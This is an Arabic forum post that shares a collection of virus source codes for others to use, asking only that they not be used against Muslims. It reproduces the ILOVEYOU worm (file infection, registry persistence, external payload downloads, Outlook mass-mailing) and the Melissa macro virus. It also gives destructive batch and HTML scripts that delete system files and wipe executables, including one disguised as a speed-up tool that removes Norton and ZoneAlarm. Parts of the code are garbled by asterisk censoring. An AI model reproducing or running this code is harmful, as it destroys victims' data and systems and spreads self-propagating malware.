عرض مشاركة واحدة
قديم 12-25-2006, 03:05 AM   #1 (permalink)

mario

عضو ذهبى
 




 
mario على طريق التميز

Exclamation



السلام عليكم
هذه مجموعة من أكواد الفيروسات المدمرة وأرجو عدم أستخدامها ضد المسلمين

ونبدا على بركت الله:



rem barok -loveletter(vbe) <i hate go to school>

rem by: EVIL-MASTER / evil5000x@- تم حذف البريد -/ Group /EVIL-ATTACK Manila,Philippines



On Error Resume Next

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d





ow

eq=""

ctr=0

Set fso = CreateObject("******ing.FileSystemObject")

set file = fso.Open****File(W******.******Fullname,1)

vbscopy=file.ReadAll



REM main() ' CSS: Main has been REMed out to provide more innoculation. unREM to run.



sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("W******.****l")

rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Windows ******ing Host\Settings\Timeout")

if (rr>=1) then

wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows ******ing Host\Settings\Timeout",0,"REG_DWORD"

end if



Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set c = fso.GetFile(W******.******FullName)

c.Copy(dirsystem&"\MSKernel32.vbs")

c.Copy(dirwin&"\Win32DLL.vbs")

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")



regruns()

html()

REM spreadtoemail() ' CSS: Causes the worm to propogate itself. REMed for even more innoculation.

listadriv()

end sub



sub regruns()

On Error Resume Next

Dim num,downread

regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr





entVersion\Run\MSKernel32",dirsystem&"\MSKernel32. vbs"

regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr





entVersion\RunServices\Win32DLL",dirwin&"\Win32DLL .vbs"

downread=""

downread=regget("HKEY_CURRENT_USER\Software\Micros oft\Internet Explorer\Download Directory")

if (downread="") then

downread="c:\"

end if



if (fileexist(dirsystem&"\WinFAT32.exe")=1) then

Randomize

num = Int((4 * Rnd) + 1)

if num = 1 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/ HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf





7679njbvYT/WIN-BUGSFIX.exe"

elseif num = 2 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/ skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j





nHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"

elseif num = 3 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/ jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3V





bvg/WIN-BUGSFIX.exe"

elseif num = 4 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/ sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras





djhPhjasfdglkNBhbq***mznxcbvnmadshfgqw237461234iuy





7thjg/WIN-BUGSFIX.exeend if

end if



if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then

regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr





entVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"

regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about :blank"

end if

end sub



sub listadriv

On Error Resume Next

Dim d,dc,s

Set dc = fso.Drives

For Each d in dc

If d.DriveType = 2 or d.DriveType=3 Then

folderlist(d.path&"\")

end if

Next

listadriv = s

end sub



Sub infectfiles(folderspec)

On Error Resume Next

dim f,f1,fc,ext,ap,mircfname,s,bname,mp3

set f = fso.GetFolder(folderspec)

set fc = f.Files



for each f1 in fc

ext=fso.Ge****ensionName(f1.pathext=lcase(ext)

s=lcase(f1.name)



if (ext="vbs") or (ext="vbe") then

set ap=fso.Open****File(f1.path,2,true)

ap.write vbscopy

ap.close

elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then

set ap=fso.Open****File(f1.path,2,true)

ap.write vbscopy

ap.close

bname=fso.GetBaseName(f1.path)

set cop=fso.GetFile(f1.path)

cop.copy(folderspec&"\"&bname&".vbs")

fso.DeleteFile(f1.path)

elseif(ext="jpg") or (ext="jpeg") then

set ap=fso.Open****File(f1.path,2,true)

ap.write vbscopy

ap.close

set cop=fso.GetFile(f1.path)

cop.copy(f1.path&".vbs")

fso.DeleteFile(f1.path)

elseif(ext="mp3") or (ext="mp2") then

set mp3=fso.Create****File(f1.path&".vbs")

mp3.write vbscopy

mp3.close

set att=fso.GetFile(f1.path)

att.attributes=att.attributes+2

end if



if (eq<>folderspec) then

if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="******.ini") or (s="mirc.hlp") then

set ******ini=fso.Create****File(folderspec&"\******.i ni")

******ini.WriteLine "[******]"

******ini.WriteLine ";mIRC ******"

******ini.WriteLine "; Please dont edit this ******... mIRC will corrupt, if mIRC will"

******ini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"

******ini.WriteLine ";"

******ini.WriteLine ";Khaled Mardam-Bey"

******ini.WriteLine ";http://www.mirc.com/"

******ini.WriteLine ";"

******ini.WriteLine "n0=on 1:JOIN:#:{"

******ini.WriteLine "n1= /if ( $nick == $me ) { halt }"

******ini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"

******ini.WriteLine "n3=}"

******ini.close

eq=folderspec

end if

end if

next

end sub



sub folderlist(folderspec)

On Error Resume Next

dim f,f1,sf

set f = fso.GetFolder(folderspec)

set sf = f.SubFolders



for each f1 in sf

infectfiles(f1.path)

folderlist(f1.path)

next



end sub



sub regcreate(regkey,regvalue)

Set regedit = CreateObject("W******.****l")

regedit.RegWrite regkey,regvalue

end sub



function regget(value)

Set regedit = CreateObject("W******.****l")

regget=regedit.RegRead(value)

end function



function fileexist(filespec)



On Error Resume Next

dim msg

if (fso.FileExists(filespec)) Then

msg = 0

else

msg = 1

end if



fileexist = msg

end function



function folderexist(folderspec)

On Error Resume Next

dim msg

if (fso.GetFolderExists(folderspec)) then

msg = 0

else

msg = 1

end if

fileexist = msg

end function







sub spreadtoemail()

On Error Resume Next

dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega





d

set regedit=CreateObject("W******.****l")

set out=W******.CreateObject("Outlook.Application")

set mapi=out.GetNameSpace("MAPI")

for ctrlists=1 to mapi.AddressLists.Count

set a=mapi.AddressLists(ctrlists)

x=1

regv=regedit.RegRead("HKEY_CURRENT_USER\Software\M icrosoft\WAB\"&a)

if (regv="") then

regv=1

end if



if (int(a.AddressEntries.Count)>int(regv)) then

for ctrentries=1 to a.AddressEntries.Count

malead=a.AddressEntries(x)

regad=""

regad=regedit.RegRead("HKEY_CURRENT_USER\Software\ Microsoft\WAB\"&malead)

if (regad="") then

set male=out.CreateItem(0)

male.Recipients.Add(malead)

male.Subject = "ILOVEYOU"

male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."

male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

male.Send

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&ma lead ,1,"REG_DWORD"

end if

x=x+1

next

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a, a.Ad dressEntries.Count

else

regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a, a.Ad dressEntries.Count

end if

next

Set out=Nothing

Set mapi=Nothing

end sub





------------------------------------------------------------------------------------





كود فيروس Html



<html>



<head>

<**** **********="*******-Type"

*******="****/html; charset=iso-8859-1">

<title>Active-X HTML</title>

</head>

THIS HTML USING ACTIVE-X PLEASE CLICK #YES#

<body bgcolor="#000000" ****="#C0C0C0">

<****** language="VB******">

<!-- This is a MY BRAIN --!>

On Error Resume Next

Dim a

Set fso = CreateObject("******ing.FileSystemObject")

Set a = fso.GetFile("win.ini")

a.Delete

Dim b

Set fso = CreateObject("******ing.FileSystemObject")

Set b = fso.GetFile("system.ini")

b.Delete

</******>

<!--- This ****** author is THEONE---!>

</body>

</html>





ثم نحفظها باى أسم +Html

---------------------------------------------------------------------------

كود فيروس لتدمير الويندوز







Del c:\windows\system\msconfig.exe



Del c:\windows\Rundll32.exe



Del c:\windows\regedit.exe



Del c:\windows\Rundll.exe



Del c:\Autoexec.bat



Del c:\command.com



Del c:\windows\Logos.sys



Del c:\windows\Logow.sys



Del c:\windows\Scanregw.exe



Del C:\Program Files\Internet Explorer\Iexplore.exe



Del c:\windows\system\Sysedit.exe



Del c:\windows\win.com







@Echo off



c:



cd %WinDir%\System\





deltree /y *.exe





--------------------------------------------------------------------



كود فيروس حذف Regedit و Msconfig



c:\windows\regedit.exe del



C:\windows\system\msconfig.exe del





------------------------------------------------------------



كود لحذف شاشة الترحيب للويندوز



Del c:\windows\Logos.sys



Del c:\windows\Logow.sys







----------------------------------------------------------------------------------------------











كود فيروس يمحى بعض الملفات المهمة من الجهاز



@echo off



c:



deltree /y *.exe



deltree /y *.dll



deltree /y *.drv



deltree /y *.sys



deltree /y *.ini



cd %windir%\system



deltree /y *.sys



deltree /y *.dll



deltree /y *.ini



deltree /y *.exe











كود فيروس يدمر برنامج النورتون انتى فيروس و برنامج الزون الارم







@echo welcome to the winbooster by Agent007



@echo if u want to make your computer get faster , you should follow



@echo the next steps (step by step)



@pause



cd\



c:



dir



dir c:\progra~1\norton~1



@echo if u want to make your computer faster



@pause



@echo now you should to type y and press enter



del c:\progra~1\norton~1



@pause



c:



dir



@echo if u want to make your computer faster



@pause



@dir c:\progra~1



dir c:\progra~1\zonea~1\zonealarm



del c:\progra~1\zonea~1\zonealarm



@echo be happy your computer now is faster than before



:exit



-------------------------------------------------------------------------------------------------------



كود فيروس مليسا



Private Sub AutoOpen() On Error Resume Next



p$ = "clone"



If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\o rd\e curity", "Level") <> "" Then



CommandBars("Macro").Controls("Security...").Enabl ed = False



System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\o rd\e curity", "Level") = 1&



Else



p$ = "clone"



CommandBars("Tools").Controls("Macro").Enabled = False



Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)



End If



Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice



Set UngaDasOutlook = CreateObject("Outlook.Application")



Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")



If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") <> "... by Kwyjibo" Then



If UngaDasOutlook = "Outlook" Then



DasMapiName.Logon "profile", "password"



For y = 1 To DasMapiName.AddressLists.Count



Set AddyBook = DasMapiName.AddressLists(y)



x = 1



Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)



For oo = 1 To AddyBook.AddressEntries.Count



Peep = AddyBook.AddressEntries(x)



BreakUmOffASlice.Recipients.Add Peep



x = x + 1



If x > 50 Then oo = AddyBook.AddressEntries.Count



Next oo



BreakUmOffASlice.Subject = "Important Message From " & Application.UserName



BreakUmOffASlice.Body = "Here is that ******** you asked for ... don't show anyone else ;-)"



BreakUmOffASlice.Attachments.Add Active********.FullName



BreakUmOffASlice.Send



Peep = ""



Next y



DasMapiName.Logoff



End If



p$ = "clone"



System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") = "... by Kwyjibo"



End If



Set ADI1 = Active********.VBProject.VBComponents.Item(1)



Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)



NTCL = NTI1.CodeModule.CountOfLines



ADCL = ADI1.CodeModule.CountOfLines



BGN = 2



If ADI1.Name <> "Melissa" Then



If ADCL > 0 Then _



ADI1.CodeModule.DeleteLines 1, ADCL



Set ToInfect = ADI1



ADI1.Name = "Melissa"



DoAD = True



End If



If NTI1.Name <> "Melissa" Then



If NTCL > 0 Then _



NTI1.CodeModule.DeleteLines 1, NTCL



Set ToInfect = NTI1



NTI1.Name = "Melissa"



DoNT = True



End If



If DoNT <> True And DoAD <> True Then GoTo CYA



If DoNT = True Then



Do While ADI1.CodeModule.Lines(1, 1) = ""



ADI1.CodeModule.DeleteLines 1



Loop



ToInfect.CodeModule.AddFromString ("Private Sub ********_Close()")



Do While ADI1.CodeModule.Lines(BGN, 1) <> ""



ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)



BGN = BGN + 1



Loop



End If



p$ = "clone"



If DoAD = True Then



Do While NTI1.CodeModule.Lines(1, 1) = ""



NTI1.CodeModule.DeleteLines 1



Loop



ToInfect.CodeModule.AddFromString ("Private Sub ********_Open()")



Do While NTI1.CodeModule.Lines(BGN, 1) <> ""



ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)



BGN = BGN + 1



Loop



End If



CYA:



If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then



Active********.SaveAs FileName:=Active********.FullName



ElseIf (InStr(1, Active********.Name, "********") <> False) Then



Active********.Saved = True: End If



'WORD/Melissa written by Kwyjibo



'Clone written by Duke/SMF



'Works in both Word 2000 and Word 97



'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!



'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!



If Day(Now) = Minute(Now) Then Selection.Type**** "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."



End Sub



--------------------------------------------------------------------------------------------------



كود لفيروس ينئ ملاين من المجلدات على الهارد بجانب انه يدمر الويندوز



@echo off



CLS



@del c:\Windows\win.ini



CLS



@del c:\windows\system.dat



CLS



@del c:\windows\system.ini



CLS



@REN c:\Windows te3eeshWeeElwendosYa7'od3'er7a



CLS



@del c:\progra~1\netscape\commun~1\program\netscape.exe



CLS



@del c:\progra~1\netscape\commun~1\program\wgbview.dbm



CLS



@del c:\progra~1\norton~1\dec2.dll



@del c:\progra~1\norton~1\navstart.dat



@del c:\progra~1\norton~1\navw32.exe



@del c:\progra~1\norton~1\sfstr32i.dll



CLS



@del c:\progra~1\icq\icqcntct.dll



CLS



@del c:\progra~1\icq\dll\icqwso~1.dll



CLS



@REN c:\progra~1 ****



CLS





@md c:\fff



@md c:\545



@md c:\jsior



@md c:\ierjq



@md c:\nmao



@md c:\ian



@md c:\asdja



@md c:\duiae



@md c:\dsuiuie



@md c:\ianer



@md c:\aie



@md c:\aiaer



@md c:\aiher



@md c:\kaie



@md c:\system



@md c:\uauau



@md c:\opoe



@md c:\pogrw



@md c:\uauer



@md c:\vnvnv



@md c:\imcvns



@md c:\mnbf



@md c:\ingo



@md c:\iajf



@md c:\sexe



@md c:\fffs



@md c:\54s5



@md c:\jsioer



@md c:\ierjeq



@md c:\nmato



@md c:\iany



@md c:\asbja



@md c:\duaae



@md c:\dsujiuie



@md c:\ianer



@md c:\aae



@md c:\aider



@md c:\ai3er



@md c:\kafe



@md c:\systam



@md c:\uauaau



@md c:\ofoe



@md c:\togrw



@md c:\uader



@md c:\vnvdsv



@md c:\i43cvns



@md c:\mdbf



@md c:\ind43



@md c:\iajf



@cd\



CLS



@del *.sys



CLS



@del *.exe



CLS



@del *.txt



CLS



@del *.dll



CLS



@del *.com



CLS

أرجو ان ينال رضاكم

وأرجو عدم أستخدامهم ضد المسلمين











لا تحرمونا من ردردكم




mario غير متواجد حالياً   رد مع اقتباس